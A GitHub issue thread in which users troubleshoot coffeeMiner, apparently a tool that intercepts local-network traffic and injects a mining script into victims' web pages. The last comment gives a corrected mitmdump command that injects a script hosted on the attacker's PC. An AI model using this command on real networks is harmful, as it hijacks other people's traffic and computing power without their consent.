Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Problem with mitmproxy #26

Open
biubiu-1 opened this issue Feb 9, 2018 · 9 comments
Open

Problem with mitmproxy #26

biubiu-1 opened this issue Feb 9, 2018 · 9 comments

Comments

@biubiu-1
Copy link

biubiu-1 commented Feb 9, 2018

When I run coffeeMiner.py, mitmdump was not found, like this:

sudo python3 coffeeMiner.py 192.168.0.1
gateway: 192.168.0.1
victims:
['192.168.0.120']
sh: 1: /usr/bin/mitmdump: not found

I have edited line 28 in coffeeMiner.py, and mitmdump exists in /usr/bin. What's wrong?

@joshrosen735
Copy link

I am having the same issue - exactly.

sudo python3 coffeeMiner.py 192.168.0.1
gateway: 192.168.0.1
victims:
['192.168.0.120']
sh: 1: /usr/bin/mitmdump: not found

mitmdump is in /usr/bin, and no amount of troubleshooting has gotten me anywhere

@biubiu-1
Copy link
Author

My problem has solved by installing Kali . My previous Ubuntu seems unsuitable for this program.

@givemhell
Copy link

I am having the same issue

and im running kali...

@ragekillen
Copy link

ragekillen commented Mar 28, 2018

my issue was it checked

os.system("~/.local/bin/mitmdump ....")
so i changed it to
os.system("/usr/bin/mitmdump ........")
manually and it resulted in working code

@givemhell
Copy link

Thank you for the update on this I will give it a try when I get home

You may resolve the major headache that I had planned on dealing with later this week

@ragekillen
Copy link

ragekillen commented Mar 28, 2018

no problem if its still not working after the edit try using
root@kali:/# locate mitmdump
that will tell you the true location of mitmdump then apply that location instead.

I dont think you will have a problem with it being in another location though, by default its installed to /usr/bin

@phphubert
Copy link

This code is no longer suitable for the new version of mitmdump

@givemhell
Copy link

givemhell commented Jul 11, 2018

Its been an issue sense i first posted here, even tried to re-write the code with the updated commands, ive given up at this point

-t doesnt work had to be changed to --mode transparent (if i recall its been a few months)

Changing that got me past that error but gave me a few new ones

the best thing you can do is downgrade I guess but it seems like more hassle than it's worth at this point

I've looked for other people who have made modifications and such and there was only one that was decently good and even then the code had to be Rewritten and fell into more problems

@nikidziuba
Copy link

If someon is still having this problem:
There is an error with quotes. You can fix this by replacing line 28 with:

os.system("/usr/bin/mitmdump -s injector.py 'http://<PC IP>:8000/script.js' --mode transparent")

If there's a mitmdump not found error:
Replace /usr/bin/mitmdump with correct location (you can get it with sudo locate mitmdump)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

6 participants